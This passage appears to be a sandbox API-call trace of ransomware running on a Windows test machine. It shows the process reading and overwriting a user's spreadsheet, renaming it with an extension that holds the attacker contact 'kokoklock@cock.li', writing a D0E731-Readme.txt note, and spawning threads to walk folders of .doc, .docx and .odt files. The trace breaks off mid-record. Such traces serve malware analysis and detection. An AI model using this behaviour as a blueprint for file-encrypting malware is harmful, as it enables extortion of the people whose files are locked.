1 [0075.726] RtlExitUserThread (Status=0x1) Thread: id = 775 os_tid = 0x1268 [0075.730] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\h76nbsml.xls")) returned 0x20 [0075.730] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls", dwFileAttributes=0x20) returned 1 [0075.730] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\h76nbsml.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e4 [0075.730] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0x1d13fb18 | out: lpFileSize=0x1d13fb18*=97263) returned 1 [0075.730] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x17beb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.730] ReadFile (in: hFile=0x9e4, lpBuffer=0x1d13faec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d13fae8, lpOverlapped=0x0 | out: lpBuffer=0x1d13faec*, lpNumberOfBytesRead=0x1d13fae8*=0x4, lpOverlapped=0x0) returned 1 [0075.730] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479818 [0075.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479778 [0075.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797a0 [0075.730] NtQuerySystemTime (in: CurrentTime=0x1d13fac4 | out: CurrentTime=0x1d13fac4*=132121176336286279) returned 0x0 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xd4b3e69 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xcfa4d96c [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x5843a719 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x6de3b38f [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x100806e1 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xd08dd6f [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xdd725d47 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x63cafbed [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xaa25b9b5 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xfc19ad64 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x714ada39 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x652d8aec [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x3edb27d1 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x966ceeb0 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x6f91e2c2 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x34506dc1 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x328ab3b7 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xf157ad03 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x35d43d97 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xabfc28f0 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xfa4b2662 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xdc5e8e72 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x8427987 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x98993916 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x2685d3ee [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x57f8a6e3 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x8aa72672 [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xbf9888fc [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xfa7a230b [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x42b3cd0e [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0x290508b [0075.731] RtlRandom (in: Seed=0x1d13fad0 | out: Seed=0x1d13fad0) returned 0xac0d0e48 [0075.742] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.742] ReadFile (in: hFile=0x9e4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1d13fa9c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d13fa9c*=0x4096, lpOverlapped=0x0) returned 1 [0075.742] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd940 [0075.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0075.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479818 [0075.743] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479818) returned 1 [0075.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479818 [0075.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a58 [0075.743] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a58) returned 1 [0075.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0075.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0075.744] WriteFile (in: hFile=0x9e4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1d13fa9c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d13fa9c*=0x4096, lpOverlapped=0x0) returned 1 [0075.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.744] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x17bef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.744] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d13fad4, lpOverlapped=0x0 | out: lpBuffer=0x3479818*, lpNumberOfBytesWritten=0x1d13fad4*=0x20, lpOverlapped=0x0) returned 1 [0075.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479818) returned 1 [0075.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.744] WriteFile (in: hFile=0x9e4, lpBuffer=0x34797c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d13fae8, lpOverlapped=0x0 | out: lpBuffer=0x34797c8*, lpNumberOfBytesWritten=0x1d13fae8*=0x8, lpOverlapped=0x0) returned 1 [0075.744] WriteFile (in: hFile=0x9e4, lpBuffer=0x1d13fb00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d13fae8, lpOverlapped=0x0 | out: lpBuffer=0x1d13fb00*, lpNumberOfBytesWritten=0x1d13fae8*=0x4, lpOverlapped=0x0) returned 1 [0075.744] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d13fae8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d13fae8*=0x4, lpOverlapped=0x0) returned 1 [0075.744] WriteFile (in: hFile=0x9e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d13fae8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d13fae8*=0x6c, lpOverlapped=0x0) returned 1 [0075.745] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479778*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d13fae8, lpOverlapped=0x0 | out: lpBuffer=0x3479778*, lpNumberOfBytesWritten=0x1d13fae8*=0x20, lpOverlapped=0x0) returned 1 [0075.745] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d13fae8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d13fae8*=0x4, lpOverlapped=0x0) returned 1 [0075.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479778) returned 1 [0075.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797f0) returned 1 [0075.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797c8) returned 1 [0075.745] CloseHandle (hObject=0x9e4) returned 1 [0075.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3431fd8 [0075.745] wcscpy (in: _Dest=0x3431fd8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls" [0075.745] wcscat (in: _Dest=0x3431fd8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731" [0075.745] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\h76nbsml.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\h76nbsml.xls.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.746] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431fd8) returned 1 [0075.746] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls", dwFileAttributes=0x20) returned 0 [0075.746] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347b910 [0075.746] wcscpy (in: _Dest=0x347b910, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0075.746] wcscat (in: _Dest=0x347b910, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0075.746] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0x20 [0075.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b910) returned 1 [0075.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e930) returned 1 [0075.746] RtlExitUserThread (Status=0x1) Thread: id = 776 os_tid = 0x126c [0075.747] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccd70 [0075.747] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0075.747] wcscat (in: _Dest=0x33ccd70, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0075.747] wcscat (in: _Dest=0x33ccd70, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\*" [0075.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f6530 [0075.748] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\*", lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47143750, ftCreationTime.dwHighDateTime=0x1d4c644, ftLastAccessTime.dwLowDateTime=0xa8b85740, ftLastAccessTime.dwHighDateTime=0x1d4d1eb, ftLastWriteTime.dwLowDateTime=0xa8b85740, ftLastWriteTime.dwHighDateTime=0x1d4d1eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34346a8 [0075.748] wcscmp (_String1=".", _String2=".") returned 0 [0075.748] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47143750, ftCreationTime.dwHighDateTime=0x1d4c644, ftLastAccessTime.dwLowDateTime=0xa8b85740, ftLastAccessTime.dwHighDateTime=0x1d4d1eb, ftLastWriteTime.dwLowDateTime=0xa8b85740, ftLastWriteTime.dwHighDateTime=0x1d4d1eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.748] wcscmp (_String1="..", _String2=".") returned 1 [0075.748] wcscmp (_String1="..", _String2="..") returned 0 [0075.748] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d79b030, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x6f719a20, ftLastAccessTime.dwHighDateTime=0x1d4cfa0, ftLastWriteTime.dwLowDateTime=0x6f719a20, ftLastWriteTime.dwHighDateTime=0x1d4cfa0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cRX9", cAlternateFileName="")) returned 1 [0075.748] wcscmp (_String1="cRX9", _String2=".") returned 1 [0075.748] wcscmp (_String1="cRX9", _String2="..") returned 1 [0075.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccaf0 [0075.748] wcscpy (in: _Dest=0x33ccaf0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0075.748] wcscat (in: _Dest=0x33ccaf0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0075.748] wcscat (in: _Dest=0x33ccaf0, _Source="cRX9" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9" [0076.612] Sleep (dwMilliseconds=0x1) [0076.622] Sleep (dwMilliseconds=0x1) [0077.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33ccaf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0 [0077.666] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd04ebd0, ftCreationTime.dwHighDateTime=0x1d4c9ec, ftLastAccessTime.dwLowDateTime=0xfff363a0, ftLastAccessTime.dwHighDateTime=0x1d4c904, ftLastWriteTime.dwLowDateTime=0xfff363a0, ftLastWriteTime.dwHighDateTime=0x1d4c904, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTZQ", cAlternateFileName="")) returned 1 [0077.666] wcscmp (_String1="DTZQ", _String2=".") returned 1 [0077.666] wcscmp (_String1="DTZQ", _String2="..") returned 1 [0077.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cccf0 [0077.666] wcscpy (in: _Dest=0x33cccf0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0077.666] wcscat (in: _Dest=0x33cccf0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0077.666] wcscat (in: _Dest=0x33cccf0, _Source="DTZQ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ" [0077.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cccf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0077.667] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd922b260, ftCreationTime.dwHighDateTime=0x1d4cb7c, ftLastAccessTime.dwLowDateTime=0x1897f500, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x1897f500, ftLastWriteTime.dwHighDateTime=0x1d4cc0d, nFileSizeHigh=0x0, nFileSizeLow=0xbc80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kk8Us_WY.docx", cAlternateFileName="KK8US_~1.DOC")) returned 1 [0077.667] wcscmp (_String1="Kk8Us_WY.docx", _String2=".") returned 1 [0077.667] wcscmp (_String1="Kk8Us_WY.docx", _String2="..") returned 1 [0077.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bd38 [0077.667] wcscpy (in: _Dest=0x347bd38, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0077.667] wcscat (in: _Dest=0x347bd38, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0077.667] wcscat (in: _Dest=0x347bd38, _Source="Kk8Us_WY.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx" [0077.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347bd38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c [0077.668] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fd9b30, ftCreationTime.dwHighDateTime=0x1d4d11c, ftLastAccessTime.dwLowDateTime=0xc8474d80, ftLastAccessTime.dwHighDateTime=0x1d4c626, ftLastWriteTime.dwLowDateTime=0xc8474d80, ftLastWriteTime.dwHighDateTime=0x1d4c626, nFileSizeHigh=0x0, nFileSizeLow=0x4956, dwReserved0=0x0, dwReserved1=0x0, cFileName="m0Inl.odt", cAlternateFileName="")) returned 1 [0077.668] wcscmp (_String1="m0Inl.odt", _String2=".") returned 1 [0077.668] wcscmp (_String1="m0Inl.odt", _String2="..") returned 1 [0077.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2840 [0077.668] wcscpy (in: _Dest=0x33e2840, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0077.668] wcscat (in: _Dest=0x33e2840, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0077.668] wcscat (in: _Dest=0x33e2840, _Source="m0Inl.odt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt" [0077.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0077.669] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50f1abe0, ftCreationTime.dwHighDateTime=0x1d4cc5c, ftLastAccessTime.dwLowDateTime=0x338f9aa0, ftLastAccessTime.dwHighDateTime=0x1d4d556, ftLastWriteTime.dwLowDateTime=0x338f9aa0, ftLastWriteTime.dwHighDateTime=0x1d4d556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n1JH8G4OIjPkJwNJ", cAlternateFileName="N1JH8G~1")) returned 1 [0077.669] wcscmp (_String1="n1JH8G4OIjPkJwNJ", _String2=".") returned 1 [0077.669] wcscmp (_String1="n1JH8G4OIjPkJwNJ", _String2="..") returned 1 [0077.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347c030 [0077.669] wcscpy (in: _Dest=0x347c030, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0077.669] wcscat (in: _Dest=0x347c030, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0077.669] wcscat (in: _Dest=0x347c030, _Source="n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0077.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347c030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0077.670] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffce7cd0, ftCreationTime.dwHighDateTime=0x1d4c9d0, ftLastAccessTime.dwLowDateTime=0x7fd07bf0, ftLastAccessTime.dwHighDateTime=0x1d4c714, ftLastWriteTime.dwLowDateTime=0x7fd07bf0, ftLastWriteTime.dwHighDateTime=0x1d4c714, nFileSizeHigh=0x0, nFileSizeLow=0x14fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="nT4HaaoBgdXFpB jlB.doc", cAlternateFileName="NT4HAA~1.DOC")) returned 1 [0077.670] wcscmp (_String1="nT4HaaoBgdXFpB jlB.doc", _String2=".") returned 1 [0077.670] wcscmp (_String1="nT4HaaoBgdXFpB jlB.doc", _String2="..") returned 1 [0077.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6678 [0077.670] wcscpy (in: _Dest=0x33e6678, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0077.670] wcscat (in: _Dest=0x33e6678, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") 